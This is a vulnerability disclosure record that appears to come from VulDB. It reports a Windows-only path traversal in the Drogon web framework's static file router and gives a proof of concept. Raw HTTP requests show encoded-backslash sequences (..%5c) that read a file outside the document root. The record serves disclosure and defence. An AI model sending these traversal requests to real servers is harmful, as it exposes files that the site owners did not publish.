| Title | Drogon v1.7.1 to v1.9.13, v1.10.0-beta.3, master Path Traversal / Information Disclosure |
|---|
| Description | On Windows, Drogon's StaticFileRouter decodes %5c into \ before traversal validation.
StaticFileRouter::route() only treats / as a path separator when checking .. traversal, so a remote
unauthenticated attacker can use URL-encoded backslashes in a static-file request to escape the document root and read
files outside it, subject to static file type checks or allowAll static locations.
Details
The request path is parsed in HttpRequestParser::processRequestLine() and stored through
HttpRequestImpl::setPath(). If URL decoding is needed, setPath() calls utils::urlDecode(), so %5c becomes \
before static file validation.
StaticFileRouter::route() then checks traversal by splitting the decoded path only on / and only treating exact
.. segments as parent-directory traversal:
lib/src/HttpRequestImpl.h:160-166
lib/src/Utilities.cc:846-904
lib/src/StaticFileRouter.cc:77-100
lib/src/HttpResponseImpl.cc:291-299
On Windows, \ is also a valid path separator. As a result, a path such as ..\..\target is not blocked by the
traversal guard, but is later resolved by the filesystem APIs and opened by HttpResponse::newFileResponse().
Version range:
v1.7.0 and earlier do not contain this traversal guard logic
the issue is present from v1.7.1
verified affected on v1.9.13, v1.10.0-beta.3, and master as of July 31, 2026
PoC
Prerequisites:
The application is deployed on Windows.
Static file serving is enabled.
The target file outside the document root has an extension allowed by the static file policy, or is served by an
allowAll static location.
I reproduced this locally on Windows using Drogon's integration_test_server.
Baseline request:
GET /index.html HTTP/1.1Host: 127.0.0.1:8848sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brCookie: JSESSIONID=894da520-26c3-451b-a440-f56bd2f9f42bConnection: keep-aliveObserved result:- 200 OKControl request with normal slash traversal:GET /../../../../drogon-master/README.md HTTP/1.1Host: 127.0.0.1:8848sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brCookie: JSESSIONID=894da520-26c3-451b-a440-f56bd2f9f42bConnection: keep-aliveObserved result:- 403 ForbiddenTraversal request using encoded backslashes:GET /..%5c..%5c..%5c..%5cdrogon-master%5cREADME.md HTTP/1.1Host: 127.0.0.1:8848sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Language: zh-CN,zh;q=0.9Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brCookie: JSESSIONID=894da520-26c3-451b-a440-f56bd2f9f42bConnection: keep-aliveObserved result:- 200 OK- content-type: text/markdown- response body contains the contents of README.md outside the document rootThis demonstrates that the decoded backslashes bypass the traversal check while normal /../ traversal is blocked.
Impact
This is a Windows-only path traversal / information disclosure issue in static file serving. An unauthenticated remote attacker can read files outside the configured document root if the requested file passes the configured static file type policy or is reachable through an allowAll static location. I have not confirmed a patched release yet.
This vulnerability was reported to the vendor via GitHub security advisory, but has been unacknowledged for over three weeks. |
|---|
| Source | ⚠️ https://github.com/drogonframework/drogon |
|---|
| User | zhuke (UID 100256) |
|---|
| Submission | 08/24/2026 08:40 (2 months ago) |
|---|
| Moderation | 10/03/2026 18:53 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 413369 [Drogon up to 1.9.13-1/10.0-beta.3 on Windows Static File Router StaticFileRouter.cc StaticFileRouter::route path traversal] |
|---|
| Points | 20 |
|---|